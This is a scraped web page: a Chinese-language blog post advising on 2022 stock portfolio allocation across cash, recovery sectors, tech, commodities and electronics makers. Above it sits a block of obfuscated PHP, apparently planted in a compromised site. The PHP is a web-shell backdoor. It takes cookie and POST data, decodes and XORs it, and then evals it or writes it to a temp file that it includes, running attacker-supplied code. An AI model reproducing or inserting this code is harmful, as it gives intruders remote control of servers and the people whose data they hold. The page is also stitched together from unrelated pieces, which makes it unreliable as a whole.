$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
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投资组合分布 - Sharix

投资组合分布

现在的部署都是为了2022年

从之前的调查当中,我们都可以看到大部分的学员都持有科技股,有些甚至超过40 – 50%。其实我们多次说过,有本钱优势的话,短期波动其实影响不大。

股神巴菲特的投资组合,APPLE这家科技股占了40%以上,主要是因为持股已经5年,股息以及资金增长已经超过200%,而且之前也已经套利少许,完全处于不败之地。 假设你也是本钱极低,恭喜大家,因为科技会在未来几年继续成长,为你带来正面的成长。

不过我国经济开放之后,许多行业都会在明年复苏,这是不容忽视的。加上通货膨胀,大宗商品如石油,棕油,金属等价格一直攀升,这波行情还在延烧着。

因此我们认为?2022?年的部署,大家可以把组合分散在3 – 4个领域,持股大约6 – 8家。

?现金比例,25%,(看个人的操作)
根据个人的风险承担能力做调整,主要是为了应付股市回调,可以趁低吸纳。对于一些有用Margin的投资者,他们可能现金比例会更低,如0 – 10%,因为可以用Margin可以跟银行借钱买股票。

?复苏如消费,银行,建筑产业,20%
明年的经济复苏是势在必行,因此银行肯定会受惠,美国银行股业绩也非常出色。此外低迷已久的建筑产业也有望稳健复苏,属于经济开放的获益者。

? 科技领域,高估值,高成长,25%
科技领域今年表现亮眼,预计明年还会继续成长。不过再好的公司也要盈利跟上,因此适当套利高估公司是有必要的。假设看看科技的未来,25 – 35%持股比例是可以接受的。

除非是本钱很低,持有40 – 50%也不会因为股价跌而感到不安。不同的投资者会有自己的选择,我们也看到一些很看好科技的学员持有50 – 70%,过于集中的风险当然也要自己承担。

? 油气,钢铁以及铝大宗商品,10%
今年石油以及钢铁价格走高,油气股近期表现亮眼,钢铁领域也看到起色。不过股价波动会比较大,因为市场情绪跟随大宗商品价格波动,因此风险会比较高。假设认为自己风险承担能力比较高,也可以投资15 – 20%,这些都是看个人的喜好。

? 成长型如电子组装,包装以及个别股,20%

除了科技之外,电子组装EMS的估值会比科技低,处于15 – 20左右,而且未来成长也会很亮眼。FPI以及VS都在FY2021盈利突破历史新高,现金流非常强劲,属于强者恒强。PIE表现也非常强势。ATAIMS以及SKPRES预计明年也会持续成长下去。

其余成长的行业还有包装,个别成长股等。假设有潜力的成长公司,估值介于15 – 25是可以被接受的。

———-我是分割线——-

每个人的投资方式以及理念都不同,以上的只是其中一个参考方式。我们认为2022年会是多个领域开花,分散投资分摊风险是有必要的。

以Harry本身为例,我在去年下半年大量买进科技股,今年科技股不断破新高。因此我的组合科技比例不断飙升,我选择在8月至今局部套利,把科技比例控制在35 – 40%左右(本钱极低,大部分是免费股,假设是本钱高缺乏安全边际,风险就会很高),再把资金分摊在复苏以及其他领域。

以上纯属经验分享,大家要根据自己的情况规划好投资组合分配

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